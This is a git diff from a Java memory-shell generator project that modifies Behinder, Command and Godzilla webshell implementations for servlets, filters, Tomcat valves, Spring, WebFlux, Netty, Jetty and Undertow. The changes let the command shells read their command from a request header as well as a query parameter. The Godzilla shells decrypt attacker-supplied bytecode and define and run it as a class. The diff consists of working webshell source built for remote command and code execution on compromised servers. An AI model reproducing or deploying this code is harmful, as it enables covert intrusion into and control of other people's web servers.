--- a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/behinder/BehinderServlet.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/behinder/BehinderServlet.java @@ -73,7 +73,7 @@ public static Object getFieldValue(Object obj, String name) throws Exception { clazz = clazz.getSuperclass(); } } - throw new NoSuchFieldException(); + throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name); } @SuppressWarnings("all") diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/behinder/BehinderUndertowServletHandler.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/behinder/BehinderUndertowServletHandler.java index 14f5e99c..c97b61da 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/behinder/BehinderUndertowServletHandler.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/behinder/BehinderUndertowServletHandler.java @@ -79,7 +79,7 @@ public static Object getFieldValue(Object obj, String name) throws Exception { clazz = clazz.getSuperclass(); } } - throw new NoSuchFieldException(); + throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name); } @SuppressWarnings("all") diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/behinder/BehinderValve.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/behinder/BehinderValve.java index 1986f7dc..1a88fee5 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/behinder/BehinderValve.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/behinder/BehinderValve.java @@ -75,7 +75,7 @@ public static Object getFieldValue(Object obj, String name) throws Exception { clazz = clazz.getSuperclass(); } } - throw new NoSuchFieldException(); + throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name); } @SuppressWarnings("all") diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/Command.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/Command.java index 14bd5fb6..5ae8626e 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/Command.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/Command.java @@ -3,6 +3,7 @@ import java.io.InputStream; import java.io.OutputStream; import java.lang.reflect.Field; +import java.util.Scanner; /** * @author ReaJason @@ -17,15 +18,15 @@ public boolean equals(Object obj) { Object request = unwrap(args[0], "request"); Object response = unwrap(args[1], "response"); try { - String param = getParam((String) request.getClass().getMethod("getParameter", String.class).invoke(request, paramName)); - if (param != null) { + String p = (String) request.getClass().getMethod("getParameter", String.class).invoke(request, paramName); + if (p == null || p.isEmpty()) { + p = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, paramName); + } + if (p != null) { + String param = getParam(p); InputStream inputStream = getInputStream(param); OutputStream outputStream = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response); - byte[] buf = new byte[8192]; - int length; - while ((length = inputStream.read(buf)) != -1) { - outputStream.write(buf, 0, length); - } + outputStream.write(new Scanner(inputStream).useDelimiter("\\A").next().getBytes()); return true; } } catch (Throwable e) { @@ -63,6 +64,6 @@ public static Object getFieldValue(Object obj, String name) throws Exception { clazz = clazz.getSuperclass(); } } - throw new NoSuchFieldException(); + throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name); } } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandControllerHandler.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandControllerHandler.java index 44fb669d..83bb6263 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandControllerHandler.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandControllerHandler.java @@ -17,8 +17,12 @@ public class CommandControllerHandler implements Controller { public ModelAndView handleRequest(HttpServletRequest request, HttpServletResponse response) throws Exception { try { - String param = getParam(request.getParameter(paramName)); - if (param != null) { + String p = request.getParameter(paramName); + if (p == null || p.isEmpty()) { + p = request.getHeader(paramName); + } + if (p != null) { + String param = getParam(p); InputStream inputStream = getInputStream(param); ServletOutputStream outputStream = response.getOutputStream(); byte[] buf = new byte[8192]; diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandFilter.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandFilter.java index 3b7d4b1c..4a1cc167 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandFilter.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandFilter.java @@ -18,8 +18,12 @@ public void doFilter(ServletRequest request, ServletResponse response, FilterCha HttpServletRequest servletRequest = (HttpServletRequest) request; HttpServletResponse servletResponse = (HttpServletResponse) response; try { - String param = getParam(servletRequest.getParameter(paramName)); - if (param != null) { + String p = servletRequest.getParameter(paramName); + if (p == null || p.isEmpty()) { + p = servletRequest.getHeader(paramName); + } + if (p != null) { + String param = getParam(p); InputStream inputStream = getInputStream(param); ServletOutputStream outputStream = servletResponse.getOutputStream(); byte[] buf = new byte[8192]; diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandHandlerFunction.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandHandlerFunction.java index 45347d53..fc45fac7 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandHandlerFunction.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandHandlerFunction.java @@ -5,10 +5,9 @@ import org.springframework.web.reactive.function.server.ServerResponse; import reactor.core.publisher.Mono; -import java.io.BufferedReader; import java.io.InputStream; -import java.io.InputStreamReader; import java.util.Optional; +import java.util.Scanner; /** * @author ReaJason @@ -19,25 +18,25 @@ public class CommandHandlerFunction implements HandlerFunction { @Override public Mono handle(ServerRequest request) { + String p = null; Optional paramOptional = request.queryParam(paramName); - if (!paramOptional.isPresent()) { - return Mono.empty(); + if (paramOptional.isPresent()) { + p = paramOptional.get(); } - StringBuilder result = new StringBuilder(); + if (p == null || p.isEmpty()) { + p = request.headers().firstHeader(paramName); + } + String result = ""; try { - String param = getParam(paramOptional.get()); - InputStream inputStream = getInputStream(param); - try (BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(inputStream))) { - String line; - while ((line = bufferedReader.readLine()) != null) { - result.append(line); - result.append(System.lineSeparator()); - } + if (p != null) { + String param = getParam(p); + InputStream inputStream = getInputStream(param); + result = new Scanner(inputStream).useDelimiter("\\A").next(); } } catch (Throwable e) { e.printStackTrace(); } - return ServerResponse.ok().body(Mono.just(result.toString()), String.class); + return ServerResponse.ok().body(Mono.just(result), String.class); } private String getParam(String param) { diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandHandlerMethod.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandHandlerMethod.java index b9a32d50..67bd0a9b 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandHandlerMethod.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandHandlerMethod.java @@ -3,9 +3,8 @@ import org.springframework.http.ResponseEntity; import org.springframework.web.server.ServerWebExchange; -import java.io.BufferedReader; import java.io.InputStream; -import java.io.InputStreamReader; +import java.util.Scanner; /** * @author ReaJason @@ -15,23 +14,21 @@ public class CommandHandlerMethod { public static String paramName; public ResponseEntity invoke(ServerWebExchange exchange) { - String param = getParam(exchange.getRequest().getQueryParams().getFirst(paramName)); - StringBuilder result = new StringBuilder(); + String p = exchange.getRequest().getQueryParams().getFirst(paramName); + if (p == null || p.isEmpty()) { + p = exchange.getRequest().getHeaders().getFirst(paramName); + } + String result = ""; try { - if (param != null) { + if (p != null) { + String param = getParam(p); InputStream inputStream = getInputStream(param); - try (BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(inputStream))) { - String line; - while ((line = bufferedReader.readLine()) != null) { - result.append(line); - result.append(System.lineSeparator()); - } - } + result = new Scanner(inputStream).useDelimiter("\\A").next(); } } catch (Throwable e) { e.printStackTrace(); } - return ResponseEntity.ok(result.toString()); + return ResponseEntity.ok(result); } private String getParam(String param) { diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandInterceptor.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandInterceptor.java index 3fdeaf99..6f00a08b 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandInterceptor.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandInterceptor.java @@ -3,10 +3,10 @@ import org.springframework.web.servlet.AsyncHandlerInterceptor; import org.springframework.web.servlet.ModelAndView; -import javax.servlet.ServletOutputStream; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.io.InputStream; +import java.util.Scanner; /** * @author ReaJason @@ -18,15 +18,14 @@ public class CommandInterceptor implements AsyncHandlerInterceptor { @Override public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception { try { - String param = getParam(request.getParameter(paramName)); - if (param != null) { + String p = request.getParameter(paramName); + if (p == null || p.isEmpty()) { + p = request.getHeader(paramName); + } + if (p != null) { + String param = getParam(p); InputStream inputStream = getInputStream(param); - ServletOutputStream outputStream = response.getOutputStream(); - byte[] buf = new byte[8192]; - int length; - while ((length = inputStream.read(buf)) != -1) { - outputStream.write(buf, 0, length); - } + response.getWriter().write(new Scanner(inputStream).useDelimiter("\\A").next()); return false; } } catch (Throwable e) { diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandJettyHandler.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandJettyHandler.java index 851d6fb1..9b78a261 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandJettyHandler.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandJettyHandler.java @@ -33,8 +33,12 @@ public boolean equals(Object obj) { response = args[1]; } try { - String param = getParam((String) request.getClass().getMethod("getParameter", String.class).invoke(request, paramName)); - if (param != null) { + String p = (String) request.getClass().getMethod("getParameter", String.class).invoke(request, paramName); + if (p == null || p.isEmpty()) { + p = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, paramName); + } + if (p != null) { + String param = getParam(p); InputStream inputStream = getInputStream(param); OutputStream outputStream = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response); byte[] buf = new byte[8192]; diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandListener.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandListener.java index 175feb7f..bd6fde1a 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandListener.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandListener.java @@ -17,8 +17,12 @@ public class CommandListener implements ServletRequestListener { public void requestInitialized(ServletRequestEvent servletRequestEvent) { HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest(); try { - String param = getParam(request.getParameter(paramName)); - if (param != null) { + String p = request.getParameter(paramName); + if (p == null || p.isEmpty()) { + p = request.getHeader(paramName); + } + if (p != null) { + String param = getParam(p); HttpServletResponse servletResponse = (HttpServletResponse) getResponseFromRequest(request); InputStream inputStream = getInputStream(param); ServletOutputStream outputStream = servletResponse.getOutputStream(); diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandNettyHandler.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandNettyHandler.java index b314d3ec..dcda74bb 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandNettyHandler.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandNettyHandler.java @@ -7,11 +7,10 @@ import io.netty.channel.ChannelHandlerContext; import io.netty.handler.codec.http.*; -import java.io.BufferedReader; import java.io.InputStream; -import java.io.InputStreamReader; import java.net.URI; import java.nio.charset.StandardCharsets; +import java.util.Scanner; /** * @author ReaJason @@ -26,28 +25,26 @@ public void channelRead(ChannelHandlerContext ctx, Object msg) throws Exception if (msg instanceof HttpRequest) { HttpRequest request = (HttpRequest) msg; HttpHeaders headers = request.headers(); - String param = getParam(getParamFromUrl(request.uri(), paramName)); - if (param == null) { + String p = getParamFromUrl(request.uri(), paramName); + if (p == null || p.isEmpty()) { + p = headers.get(paramName); + } + if (p == null) { ctx.fireChannelRead(msg); return; } - StringBuilder result = new StringBuilder(); + String result = ""; try { + String param = getParam(p); InputStream inputStream = getInputStream(param); - try (BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(inputStream))) { - String line; - while ((line = bufferedReader.readLine()) != null) { - result.append(line); - result.append(System.lineSeparator()); - } - } + result = new Scanner(inputStream).useDelimiter("\\A").next(); } catch (Throwable e) { e.printStackTrace(); } send(ctx, result.toString()); - } else { - ctx.fireChannelRead(msg); + return; } + ctx.fireChannelRead(msg); } private void send(ChannelHandlerContext ctx, String context) throws Exception { diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandServlet.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandServlet.java index 994f3e97..55be5b40 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandServlet.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandServlet.java @@ -22,9 +22,13 @@ protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws Se @Override protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { - String param = getParam(request.getParameter(paramName)); try { - if (param != null) { + String p = request.getParameter(paramName); + if (p == null || p.isEmpty()) { + p = request.getHeader(paramName); + } + if (p != null) { + String param = getParam(p); InputStream inputStream = getInputStream(param); ServletOutputStream outputStream = response.getOutputStream(); byte[] buf = new byte[8192]; diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandUndertowServletHandler.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandUndertowServletHandler.java index 8444f80b..2bc459d9 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandUndertowServletHandler.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandUndertowServletHandler.java @@ -2,6 +2,7 @@ import java.io.InputStream; import java.io.OutputStream; +import java.util.Scanner; /** * @author ReaJason @@ -22,15 +23,15 @@ public boolean equals(Object obj) { } Object request = servletRequestContext.getClass().getMethod("getServletRequest").invoke(servletRequestContext); Object response = servletRequestContext.getClass().getMethod("getServletResponse").invoke(servletRequestContext); - String param = getParam((String) request.getClass().getMethod("getParameter", String.class).invoke(request, paramName)); - if (param != null) { + String p = (String) request.getClass().getMethod("getParameter", String.class).invoke(request, paramName); + if (p == null || p.isEmpty()) { + p = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, paramName); + } + if (p != null) { + String param = getParam(p); InputStream inputStream = getInputStream(param); OutputStream outputStream = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response); - byte[] buf = new byte[8192]; - int length; - while ((length = inputStream.read(buf)) != -1) { - outputStream.write(buf, 0, length); - } + outputStream.write(new Scanner(inputStream).useDelimiter("\\A").next().getBytes()); return true; } } catch (Throwable e) { diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandValve.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandValve.java index faac6450..ca73dc8f 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandValve.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandValve.java @@ -5,7 +5,6 @@ import org.apache.catalina.connector.Response; import javax.servlet.ServletException; -import javax.servlet.ServletOutputStream; import java.io.IOException; import java.io.InputStream; import java.util.Scanner; @@ -19,8 +18,12 @@ public class CommandValve implements Valve { @Override public void invoke(Request request, Response response) throws IOException, ServletException { try { - String param = getParam(request.getParameter(paramName)); - if (param != null) { + String p = request.getParameter(paramName); + if (p == null || p.isEmpty()) { + p = request.getHeader(paramName); + } + if (p != null) { + String param = getParam(p); InputStream inputStream = getInputStream(param); response.getWriter().write(new Scanner(inputStream).useDelimiter("\\A").next()); return; diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandWebFilter.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandWebFilter.java index 40f7d1c9..176c185a 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandWebFilter.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandWebFilter.java @@ -1,48 +1,40 @@ package com.reajason.javaweb.memshell.shelltool.command; -import org.springframework.core.io.buffer.DataBuffer; import org.springframework.core.io.buffer.DefaultDataBufferFactory; import org.springframework.web.server.ServerWebExchange; import org.springframework.web.server.WebFilter; import org.springframework.web.server.WebFilterChain; import reactor.core.publisher.Mono; -import java.io.BufferedReader; import java.io.InputStream; -import java.io.InputStreamReader; import java.nio.charset.StandardCharsets; +import java.util.Scanner; /** * @author ReaJason * @since 2024/12/25 */ -public class CommandWebFilter extends ClassLoader implements WebFilter { +public class CommandWebFilter implements WebFilter { public static String paramName; @Override public Mono filter(ServerWebExchange exchange, WebFilterChain chain) { - String param = getParam(exchange.getRequest().getQueryParams().getFirst(paramName)); - if (param == null) { + String p = exchange.getRequest().getQueryParams().getFirst(paramName); + if (p == null || p.isEmpty()) { + p = exchange.getRequest().getHeaders().getFirst(paramName); + } + if (p == null) { return chain.filter(exchange); } - return exchange.getResponse().writeWith(getResult(param)); - } - - private Mono getResult(String param) { - StringBuilder result = new StringBuilder(); + String param = getParam(p); + String result = ""; try { InputStream inputStream = getInputStream(param); - try (BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(inputStream))) { - String line; - while ((line = bufferedReader.readLine()) != null) { - result.append(line); - result.append(System.lineSeparator()); - } - } + result = new Scanner(inputStream).useDelimiter("\\A").next(); } catch (Throwable e) { e.printStackTrace(); } - return Mono.just(new DefaultDataBufferFactory().wrap(result.toString().getBytes(StandardCharsets.UTF_8))); + return exchange.getResponse().writeWith(Mono.just(new DefaultDataBufferFactory().wrap(result.getBytes(StandardCharsets.UTF_8)))); } private String getParam(String param) { diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/Godzilla.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/Godzilla.java index ea743909..c01f29a0 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/Godzilla.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/Godzilla.java @@ -1,6 +1,7 @@ package com.reajason.javaweb.memshell.shelltool.godzilla; import java.io.ByteArrayOutputStream; +import java.io.PrintStream; import java.io.PrintWriter; import java.lang.reflect.Constructor; import java.lang.reflect.Field; @@ -11,11 +12,12 @@ * @author ReaJason */ public class Godzilla extends ClassLoader { - public static String key; - public static String pass; - public static String md5; - public static String headerName; - public static String headerValue; + private static String key; + private static String pass; + private static String md5; + private static String headerName; + private static String headerValue; + private static Class payload; public Godzilla() { } @@ -32,24 +34,27 @@ public boolean equals(Object obj) { try { String value = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, headerName); if (value != null && value.contains(headerValue)) { - String parameter = (String) request.getClass().getMethod("getParameter", String.class).invoke(request, pass); - byte[] data = base64Decode(parameter); - data = this.x(data, false); - Object session = request.getClass().getMethod("getSession").invoke(request); - Object cache = session.getClass().getMethod("getAttribute", String.class).invoke(session, key); - if (cache == null) { - session.getClass().getMethod("setAttribute", String.class, Object.class).invoke(session, key, (new Godzilla(Thread.currentThread().getContextClassLoader())).defineClass(data, 0, data.length)); - } else { - ByteArrayOutputStream arrOut = new ByteArrayOutputStream(); - Object f = ((Class) cache).newInstance(); - f.equals(arrOut); - f.equals(request); - f.equals(data); - f.toString(); - PrintWriter writer = (PrintWriter) response.getClass().getMethod("getWriter").invoke(response); - writer.write(md5.substring(0, 16)); - writer.write(base64Encode(this.x(arrOut.toByteArray(), true))); - writer.write(md5.substring(16)); + PrintWriter writer = (PrintWriter) response.getClass().getMethod("getWriter").invoke(response); + try { + String parameter = (String) request.getClass().getMethod("getParameter", String.class).invoke(request, pass); + byte[] data = base64Decode(parameter); + data = this.x(data, false); + if (payload == null) { + payload = new Godzilla(Thread.currentThread().getContextClassLoader()).defineClass(data, 0, data.length); + } else { + ByteArrayOutputStream arrOut = new ByteArrayOutputStream(); + Object f = payload.newInstance(); + f.equals(arrOut); + f.equals(request); + f.equals(data); + f.toString(); + writer.write(md5.substring(0, 16)); + writer.write(base64Encode(this.x(arrOut.toByteArray(), true))); + writer.write(md5.substring(16)); + } + } catch (Throwable e) { + e.printStackTrace(); + writer.write(getErrorMessage(e)); } return true; } @@ -117,6 +122,21 @@ public static Object getFieldValue(Object obj, String name) throws Exception { clazz = clazz.getSuperclass(); } } - throw new NoSuchFieldException(); + throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name); + } + + @SuppressWarnings("all") + private String getErrorMessage(Throwable throwable) { + PrintStream printStream = null; + try { + ByteArrayOutputStream outputStream = new ByteArrayOutputStream(); + printStream = new PrintStream(outputStream); + throwable.printStackTrace(printStream); + return outputStream.toString(); + } finally { + if (printStream != null) { + printStream.close(); + } + } } } \ No newline at end of file diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaControllerHandler.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaControllerHandler.java index 95f42a43..c0b6f218 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaControllerHandler.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaControllerHandler.java @@ -7,19 +7,21 @@ import javax.crypto.spec.SecretKeySpec; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; -import javax.servlet.http.HttpSession; import java.io.ByteArrayOutputStream; +import java.io.PrintStream; +import java.io.PrintWriter; /** * @author ReaJason * @since 2024/12/22 */ public class GodzillaControllerHandler extends ClassLoader implements Controller { - public static String key; - public static String pass; - public static String md5; - public static String headerName; - public static String headerValue; + private static String key; + private static String pass; + private static String md5; + private static String headerName; + private static String headerValue; + private static Class payload; public GodzillaControllerHandler() { } @@ -31,22 +33,26 @@ public GodzillaControllerHandler(ClassLoader parent) { public ModelAndView handleRequest(HttpServletRequest request, HttpServletResponse response) throws Exception { try { if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) { - HttpSession session = request.getSession(); - byte[] data = base64Decode(request.getParameter(pass)); - data = this.x(data, false); - Object cache = session.getAttribute(key); - if (cache == null) { - session.setAttribute(key, (new GodzillaControllerHandler(Thread.currentThread().getContextClassLoader())).defineClass(data, 0, data.length)); - } else { - ByteArrayOutputStream arrOut = new ByteArrayOutputStream(); - Object f = ((Class) cache).newInstance(); - f.equals(arrOut); - f.equals(request); - f.equals(data); - f.toString(); - response.getWriter().write(md5.substring(0, 16)); - response.getWriter().write(base64Encode(this.x(arrOut.toByteArray(), true))); - response.getWriter().write(md5.substring(16)); + PrintWriter writer = response.getWriter(); + try { + byte[] data = base64Decode(request.getParameter(pass)); + data = this.x(data, false); + if (payload == null) { + payload = new GodzillaControllerHandler(Thread.currentThread().getContextClassLoader()).defineClass(data, 0, data.length); + } else { + ByteArrayOutputStream arrOut = new ByteArrayOutputStream(); + Object f = payload.newInstance(); + f.equals(arrOut); + f.equals(request); + f.equals(data); + f.toString(); + writer.write(md5.substring(0, 16)); + writer.write(base64Encode(this.x(arrOut.toByteArray(), true))); + writer.write(md5.substring(16)); + } + } catch (Throwable e) { + e.printStackTrace(); + writer.write(getErrorMessage(e)); } } } catch (Throwable e) { @@ -83,4 +89,19 @@ public byte[] x(byte[] s, boolean m) throws Exception { c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES")); return c.doFinal(s); } + + @SuppressWarnings("all") + private String getErrorMessage(Throwable throwable) { + PrintStream printStream = null; + try { + ByteArrayOutputStream outputStream = new ByteArrayOutputStream(); + printStream = new PrintStream(outputStream); + throwable.printStackTrace(printStream); + return outputStream.toString(); + } finally { + if (printStream != null) { + printStream.close(); + } + } + } } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaFilter.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaFilter.java index b527586f..c8f02bee 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaFilter.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaFilter.java @@ -5,19 +5,21 @@ import javax.servlet.*; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; -import javax.servlet.http.HttpSession; import java.io.ByteArrayOutputStream; import java.io.IOException; +import java.io.PrintStream; +import java.io.PrintWriter; /** * @author ReaJason */ public class GodzillaFilter extends ClassLoader implements Filter { - public static String key; - public static String pass; - public static String md5; - public static String headerName; - public static String headerValue; + private static String key; + private static String pass; + private static String md5; + private static String headerName; + private static String headerValue; + private static Class payload; public GodzillaFilter() { } @@ -33,22 +35,26 @@ public void doFilter(ServletRequest servletRequest, ServletResponse servletRespo HttpServletResponse response = (HttpServletResponse) servletResponse; try { if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) { - HttpSession session = request.getSession(); - byte[] data = base64Decode(request.getParameter(pass)); - data = this.x(data, false); - Object cache = session.getAttribute(key); - if (cache == null) { - session.setAttribute(key, (new GodzillaFilter(Thread.currentThread().getContextClassLoader())).Q(data)); - } else { - ByteArrayOutputStream arrOut = new ByteArrayOutputStream(); - Object f = ((Class) cache).newInstance(); - f.equals(arrOut); - f.equals(request); - f.equals(data); - f.toString(); - response.getWriter().write(md5.substring(0, 16)); - response.getWriter().write(base64Encode(this.x(arrOut.toByteArray(), true))); - response.getWriter().write(md5.substring(16)); + PrintWriter writer = response.getWriter(); + try { + byte[] data = base64Decode(request.getParameter(pass)); + data = this.x(data, false); + if (payload == null) { + payload = new GodzillaFilter(Thread.currentThread().getContextClassLoader()).Q(data); + } else { + ByteArrayOutputStream arrOut = new ByteArrayOutputStream(); + Object f = payload.newInstance(); + f.equals(arrOut); + f.equals(request); + f.equals(data); + f.toString(); + writer.write(md5.substring(0, 16)); + writer.write(base64Encode(this.x(arrOut.toByteArray(), true))); + writer.write(md5.substring(16)); + } + } catch (Throwable e) { + e.printStackTrace(); + writer.write(getErrorMessage(e)); } return; } @@ -105,6 +111,21 @@ public byte[] x(byte[] s, boolean m) { } } + @SuppressWarnings("all") + private String getErrorMessage(Throwable throwable) { + PrintStream printStream = null; + try { + ByteArrayOutputStream outputStream = new ByteArrayOutputStream(); + printStream = new PrintStream(outputStream); + throwable.printStackTrace(printStream); + return outputStream.toString(); + } finally { + if (printStream != null) { + printStream.close(); + } + } + } + @Override public void init(FilterConfig filterConfig) throws ServletException { } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaHandlerFunction.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaHandlerFunction.java index c7c589b2..0bfd80d1 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaHandlerFunction.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaHandlerFunction.java @@ -8,18 +8,19 @@ import javax.crypto.Cipher; import javax.crypto.spec.SecretKeySpec; import java.io.ByteArrayOutputStream; +import java.io.PrintStream; /** * @author ReaJason * @since 2024/12/25 */ public class GodzillaHandlerFunction extends ClassLoader implements HandlerFunction { - public static String key; - public static String pass; - public static String md5; - public static String headerName; - public static String headerValue; - public Class payload; + private static String key; + private static String pass; + private static String md5; + private static String headerName; + private static String headerValue; + private static Class payload; public GodzillaHandlerFunction() { } @@ -43,7 +44,7 @@ public Mono handle(ServerRequest request) { payload = new GodzillaHandlerFunction(Thread.currentThread().getContextClassLoader()).defineClass(data, 0, data.length); } else { ByteArrayOutputStream arrOut = new ByteArrayOutputStream(); - Object f = payload.getDeclaredConstructor().newInstance(); + Object f = payload.newInstance(); f.equals(arrOut); f.equals(data); f.equals(request); @@ -54,6 +55,7 @@ public Mono handle(ServerRequest request) { } } catch (Throwable ex) { ex.printStackTrace(); + result.append(getErrorMessage(ex)); } return Mono.just(result.toString()); }); @@ -88,4 +90,19 @@ public byte[] x(byte[] s, boolean m) throws Exception { c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES")); return c.doFinal(s); } + + @SuppressWarnings("all") + private String getErrorMessage(Throwable throwable) { + PrintStream printStream = null; + try { + ByteArrayOutputStream outputStream = new ByteArrayOutputStream(); + printStream = new PrintStream(outputStream); + throwable.printStackTrace(printStream); + return outputStream.toString(); + } finally { + if (printStream != null) { + printStream.close(); + } + } + } } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaHandlerMethod.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaHandlerMethod.java index b3544c5d..9d640d8e 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaHandlerMethod.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaHandlerMethod.java @@ -7,18 +7,19 @@ import javax.crypto.Cipher; import javax.crypto.spec.SecretKeySpec; import java.io.ByteArrayOutputStream; +import java.io.PrintStream; /** * @author ReaJason * @since 2024/12/25 */ public class GodzillaHandlerMethod extends ClassLoader { - public static String key; - public static String pass; - public static String md5; - public static String headerName; - public static String headerValue; - public Class payload; + private static String key; + private static String pass; + private static String md5; + private static String 